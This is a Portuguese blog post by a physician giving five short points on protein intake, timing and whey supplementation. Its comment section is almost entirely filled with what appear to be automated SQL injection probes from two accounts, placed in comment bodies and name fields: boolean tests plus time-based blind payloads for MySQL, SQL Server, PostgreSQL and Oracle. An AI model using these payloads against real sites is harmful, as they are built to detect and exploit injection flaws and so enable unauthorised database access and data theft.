..:: Dra. Isabelle Cartaxo ::..

Exercícios e suplementação proteica

🔊O que você precisa saber:

1️⃣Para a construção e manutenção da massa muscular, é fundamental atingir um balanço proteico positivo. .

2️⃣ As doses proteicas devem ser idealmente distribuídas ao longo do dia, a cada 3-4 horas.

3️⃣A síntese muscular induzida pelo exercício é duradoura , permanecendo o músculo sensibilizado por um período de até 24 horas. Logo, você não precisa correr para tomar o shake de proteína ainda na academia.

4️⃣ É possível atingir as quantidades diárias apenas com a dieta. Suplementos como whey protein representam uma fonte adicional de alto valor biológico. É particularmente vantajoso para atletas ou para minimizar ingestão calórica. .

5️⃣ Diferentes tipos de proteínas diferem também em sua qualidade, sendo as de origem animal de qualidade superior às de origem vegetal. . ‼O aporte insuficiente pode levar à perda de performance e alterações imunológicas.‼

🥗Alimente-se bem. Suplemente se necessário! 👩‍⚕️

Comentários

lxbfYeaa disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

-1 OR 2+524-524-1=0+0+0+1 --
14/07/2025 | Responder
lxbfYeaa disse:

-1 OR 3+524-524-1=0+0+0+1 --
14/07/2025 | Responder
lxbfYeaa disse:

-1 OR 3*2<(0+5+524-524) --
14/07/2025 | Responder
lxbfYeaa disse:

-1 OR 3*2>(0+5+524-524) --
14/07/2025 | Responder
lxbfYeaa disse:

-1 OR 2+288-288-1=0+0+0+1
14/07/2025 | Responder
lxbfYeaa disse:

-1 OR 3+288-288-1=0+0+0+1
14/07/2025 | Responder
lxbfYeaa disse:

-1 OR 3*2<(0+5+288-288)
14/07/2025 | Responder
lxbfYeaa disse:

-1 OR 3*2>(0+5+288-288)
14/07/2025 | Responder
lxbfYeaa disse:

-1' OR 2+712-712-1=0+0+0+1 --
14/07/2025 | Responder
lxbfYeaa disse:

-1' OR 3+712-712-1=0+0+0+1 --
14/07/2025 | Responder
lxbfYeaa disse:

-1' OR 3*2<(0+5+712-712) --
14/07/2025 | Responder
lxbfYeaa disse:

-1' OR 3*2>(0+5+712-712) --
14/07/2025 | Responder
lxbfYeaa disse:

-1' OR 2+388-388-1=0+0+0+1 or 'VsYDQWqp'='
14/07/2025 | Responder
lxbfYeaa disse:

-1' OR 3+388-388-1=0+0+0+1 or 'VsYDQWqp'='
14/07/2025 | Responder
lxbfYeaa disse:

-1' OR 3*2<(0+5+388-388) or 'VsYDQWqp'='
14/07/2025 | Responder
lxbfYeaa disse:

-1' OR 3*2>(0+5+388-388) or 'VsYDQWqp'='
14/07/2025 | Responder
lxbfYeaa disse:

-1" OR 2+88-88-1=0+0+0+1 --
14/07/2025 | Responder
lxbfYeaa disse:

-1" OR 3+88-88-1=0+0+0+1 --
14/07/2025 | Responder
lxbfYeaa disse:

-1" OR 3*2<(0+5+88-88) --
14/07/2025 | Responder
lxbfYeaa disse:

-1" OR 3*2>(0+5+88-88) --
14/07/2025 | Responder
lxbfYeaa disse:

555*if(now()=sysdate(),sleep(15),0)
14/07/2025 | Responder
lxbfYeaa disse:

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
14/07/2025 | Responder
lxbfYeaa disse:

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
14/07/2025 | Responder
lxbfYeaa disse:

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
14/07/2025 | Responder
lxbfYeaa disse:

555-1; waitfor delay '0:0:15' --
14/07/2025 | Responder
lxbfYeaa disse:

555-1); waitfor delay '0:0:15' --
14/07/2025 | Responder
lxbfYeaa disse:

555-1 waitfor delay '0:0:15' --
14/07/2025 | Responder
lxbfYeaa disse:

555OCQvQAz9'; waitfor delay '0:0:15' --
14/07/2025 | Responder
lxbfYeaa disse:

555-1 OR 211=(SELECT 211 FROM PG_SLEEP(15))--
14/07/2025 | Responder
lxbfYeaa disse:

555-1) OR 991=(SELECT 991 FROM PG_SLEEP(15))--
14/07/2025 | Responder
lxbfYeaa disse:

555-1)) OR 190=(SELECT 190 FROM PG_SLEEP(15))--
14/07/2025 | Responder
lxbfYeaa disse:

555bL8nTzDv' OR 722=(SELECT 722 FROM PG_SLEEP(15))--
14/07/2025 | Responder
lxbfYeaa disse:

5558QzrPuFe') OR 444=(SELECT 444 FROM PG_SLEEP(15))--
14/07/2025 | Responder
lxbfYeaa disse:

5558JbrPIPg')) OR 994=(SELECT 994 FROM PG_SLEEP(15))--
14/07/2025 | Responder
lxbfYeaa disse:

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
14/07/2025 | Responder
lxbfYeaa disse:

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

555'"
14/07/2025 | Responder
lxbfYeaa disse:

@@XSsZP
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
-1 OR 2+96-96-1=0+0+0+1 -- disse:

555
14/07/2025 | Responder
-1 OR 3+96-96-1=0+0+0+1 -- disse:

555
14/07/2025 | Responder
-1 OR 3*2<(0+5+96-96) -- disse:

555
14/07/2025 | Responder
-1 OR 3*2>(0+5+96-96) -- disse:

555
14/07/2025 | Responder
-1 OR 2+315-315-1=0+0+0+1 disse:

555
14/07/2025 | Responder
-1 OR 3+315-315-1=0+0+0+1 disse:

555
14/07/2025 | Responder
-1 OR 3*2<(0+5+315-315) disse:

555
14/07/2025 | Responder
-1 OR 3*2>(0+5+315-315) disse:

555
14/07/2025 | Responder
-1' OR 2+260-260-1=0+0+0+1 -- disse:

555
14/07/2025 | Responder
-1' OR 3+260-260-1=0+0+0+1 -- disse:

555
14/07/2025 | Responder
-1' OR 3*2<(0+5+260-260) -- disse:

555
14/07/2025 | Responder
-1' OR 3*2>(0+5+260-260) -- disse:

555
14/07/2025 | Responder
-1' OR 2+461-461-1=0+0+0+1 or 'gMBJcWWm'=' disse:

555
14/07/2025 | Responder
-1' OR 3+461-461-1=0+0+0+1 or 'gMBJcWWm'=' disse:

555
14/07/2025 | Responder
-1' OR 3*2<(0+5+461-461) or 'gMBJcWWm'=' disse:

555
14/07/2025 | Responder
-1' OR 3*2>(0+5+461-461) or 'gMBJcWWm'=' disse:

555
14/07/2025 | Responder
-1" OR 2+437-437-1=0+0+0+1 -- disse:

555
14/07/2025 | Responder
-1" OR 3+437-437-1=0+0+0+1 -- disse:

555
14/07/2025 | Responder
-1" OR 3*2<(0+5+437-437) -- disse:

555
14/07/2025 | Responder
-1" OR 3*2>(0+5+437-437) -- disse:

555
14/07/2025 | Responder
if(now()=sysdate(),sleep(15),0) disse:

555
14/07/2025 | Responder
lxbfYeaa0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z disse:

555
14/07/2025 | Responder
lxbfYeaa0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z disse:

555
14/07/2025 | Responder
lxbfYeaa-1 waitfor delay '0:0:15' -- disse:

555
14/07/2025 | Responder
lxbfYeaaAorJF5V3'; waitfor delay '0:0:15' -- disse:

555
14/07/2025 | Responder
lxbfYeaaf6UKq53s' OR 430=(SELECT 430 FROM PG_SLEEP(15))-- disse:

555
14/07/2025 | Responder
lxbfYeaanLLIie4A') OR 389=(SELECT 389 FROM PG_SLEEP(15))-- disse:

555
14/07/2025 | Responder
lxbfYeaaJZn2GKqo')) OR 934=(SELECT 934 FROM PG_SLEEP(15))-- disse:

555
14/07/2025 | Responder
lxbfYeaa'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
lxbfYeaa'" disse:

555
14/07/2025 | Responder
@@V4Ocd disse:

555
14/07/2025 | Responder
lxbfYeaa disse:

555
14/07/2025 | Responder
ubaTaeCJ disse:

555
16/07/2025 | Responder
ubaTaeCJ disse:

555
16/07/2025 | Responder
ubaTaeCJ disse:

555
16/07/2025 | Responder
ubaTaeCJ disse:

555
16/07/2025 | Responder
ubaTaeCJ disse:

555
16/07/2025 | Responder
ubaTaeCJ disse:

555
16/07/2025 | Responder
ubaTaeCJ disse:

555
16/07/2025 | Responder
ubaTaeCJ disse:

555
16/07/2025 | Responder
ubaTaeCJ disse:

555
16/07/2025 | Responder
ubaTaeCJ disse:

-1 OR 2+440-440-1=0+0+0+1 --
16/07/2025 | Responder
ubaTaeCJ disse:

-1 OR 3+440-440-1=0+0+0+1 --
16/07/2025 | Responder
ubaTaeCJ disse:

-1 OR 3*2<(0+5+440-440) --
16/07/2025 | Responder
ubaTaeCJ disse:

-1 OR 3*2>(0+5+440-440) --
16/07/2025 | Responder
ubaTaeCJ disse:

-1 OR 2+989-989-1=0+0+0+1
16/07/2025 | Responder
ubaTaeCJ disse:

-1 OR 3+989-989-1=0+0+0+1
16/07/2025 | Responder
ubaTaeCJ disse:

-1 OR 3*2<(0+5+989-989)
16/07/2025 | Responder
ubaTaeCJ disse:

-1 OR 3*2>(0+5+989-989)
16/07/2025 | Responder
ubaTaeCJ disse:

-1' OR 2+824-824-1=0+0+0+1 --
16/07/2025 | Responder
ubaTaeCJ disse:

-1' OR 3+824-824-1=0+0+0+1 --
16/07/2025 | Responder
ubaTaeCJ disse:

-1' OR 3*2<(0+5+824-824) --
16/07/2025 | Responder
ubaTaeCJ disse:

-1' OR 3*2>(0+5+824-824) --
16/07/2025 | Responder
ubaTaeCJ disse:

-1' OR 2+444-444-1=0+0+0+1 or 'VisaKQpO'='
16/07/2025 | Responder
ubaTaeCJ disse:

-1' OR 3+444-444-1=0+0+0+1 or 'VisaKQpO'='
16/07/2025 | Responder
ubaTaeCJ disse:

-1' OR 3*2<(0+5+444-444) or 'VisaKQpO'='
16/07/2025 | Responder
ubaTaeCJ disse:

-1' OR 3*2>(0+5+444-444) or 'VisaKQpO'='
16/07/2025 | Responder
ubaTaeCJ disse:

-1" OR 2+234-234-1=0+0+0+1 --
16/07/2025 | Responder
ubaTaeCJ disse:

-1" OR 3+234-234-1=0+0+0+1 --
16/07/2025 | Responder
ubaTaeCJ disse:

-1" OR 3*2<(0+5+234-234) --
16/07/2025 | Responder
ubaTaeCJ disse:

-1" OR 3*2>(0+5+234-234) --
16/07/2025 | Responder
ubaTaeCJ disse:

555*if(now()=sysdate(),sleep(15),0)
16/07/2025 | Responder
ubaTaeCJ disse:

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
16/07/2025 | Responder
ubaTaeCJ disse:

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
16/07/2025 | Responder
ubaTaeCJ disse:

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
16/07/2025 | Responder
ubaTaeCJ disse:

555-1; waitfor delay '0:0:15' --
16/07/2025 | Responder
ubaTaeCJ disse:

555-1); waitfor delay '0:0:15' --
16/07/2025 | Responder
ubaTaeCJ disse:

555-1 waitfor delay '0:0:15' --
16/07/2025 | Responder
ubaTaeCJ disse:

555N0i2NOGt'; waitfor delay '0:0:15' --
16/07/2025 | Responder
ubaTaeCJ disse:

555-1 OR 668=(SELECT 668 FROM PG_SLEEP(15))--
16/07/2025 | Responder
ubaTaeCJ disse:

555-1) OR 26=(SELECT 26 FROM PG_SLEEP(15))--
16/07/2025 | Responder
ubaTaeCJ disse:

555-1)) OR 398=(SELECT 398 FROM PG_SLEEP(15))--
16/07/2025 | Responder
ubaTaeCJ disse:

555rtPC9f2m' OR 434=(SELECT 434 FROM PG_SLEEP(15))--
16/07/2025 | Responder
ubaTaeCJ disse:

5559UUfXbzW') OR 196=(SELECT 196 FROM PG_SLEEP(15))--
16/07/2025 | Responder
ubaTaeCJ disse:

555o0ak4iL1')) OR 303=(SELECT 303 FROM PG_SLEEP(15))--
16/07/2025 | Responder
ubaTaeCJ disse:

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
16/07/2025 | Responder
ubaTaeCJ disse:

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
16/07/2025 | Responder
ubaTaeCJ disse:

555
16/07/2025 | Responder
ubaTaeCJ disse:

555'"
16/07/2025 | Responder
ubaTaeCJ disse:

@@Sl3PB
16/07/2025 | Responder
ubaTaeCJ disse:

555
16/07/2025 | Responder
ubaTaeCJ disse:

555
16/07/2025 | Responder
ubaTaeCJ disse:

555
16/07/2025 | Responder
ubaTaeCJ disse:

555
16/07/2025 | Responder
ubaTaeCJ disse:

555
16/07/2025 | Responder
-1 OR 2+950-950-1=0+0+0+1 -- disse:

555
16/07/2025 | Responder
-1 OR 3+950-950-1=0+0+0+1 -- disse:

555
16/07/2025 | Responder
-1 OR 3*2<(0+5+950-950) -- disse:

555
16/07/2025 | Responder
-1 OR 3*2>(0+5+950-950) -- disse:

555
16/07/2025 | Responder
-1 OR 2+283-283-1=0+0+0+1 disse:

555
16/07/2025 | Responder
-1 OR 3+283-283-1=0+0+0+1 disse:

555
16/07/2025 | Responder
-1 OR 3*2<(0+5+283-283) disse:

555
16/07/2025 | Responder
-1 OR 3*2>(0+5+283-283) disse:

555
16/07/2025 | Responder
-1' OR 2+310-310-1=0+0+0+1 -- disse:

555
16/07/2025 | Responder
-1' OR 3+310-310-1=0+0+0+1 -- disse:

555
16/07/2025 | Responder
-1' OR 3*2<(0+5+310-310) -- disse:

555
16/07/2025 | Responder
-1' OR 3*2>(0+5+310-310) -- disse:

555
16/07/2025 | Responder
-1' OR 2+200-200-1=0+0+0+1 or 'JRJwxcal'=' disse:

555
16/07/2025 | Responder
-1' OR 3+200-200-1=0+0+0+1 or 'JRJwxcal'=' disse:

555
16/07/2025 | Responder
-1' OR 3*2<(0+5+200-200) or 'JRJwxcal'=' disse:

555
16/07/2025 | Responder

Escrever comentário

Blog

Exercícios e suplementação proteica

Comentários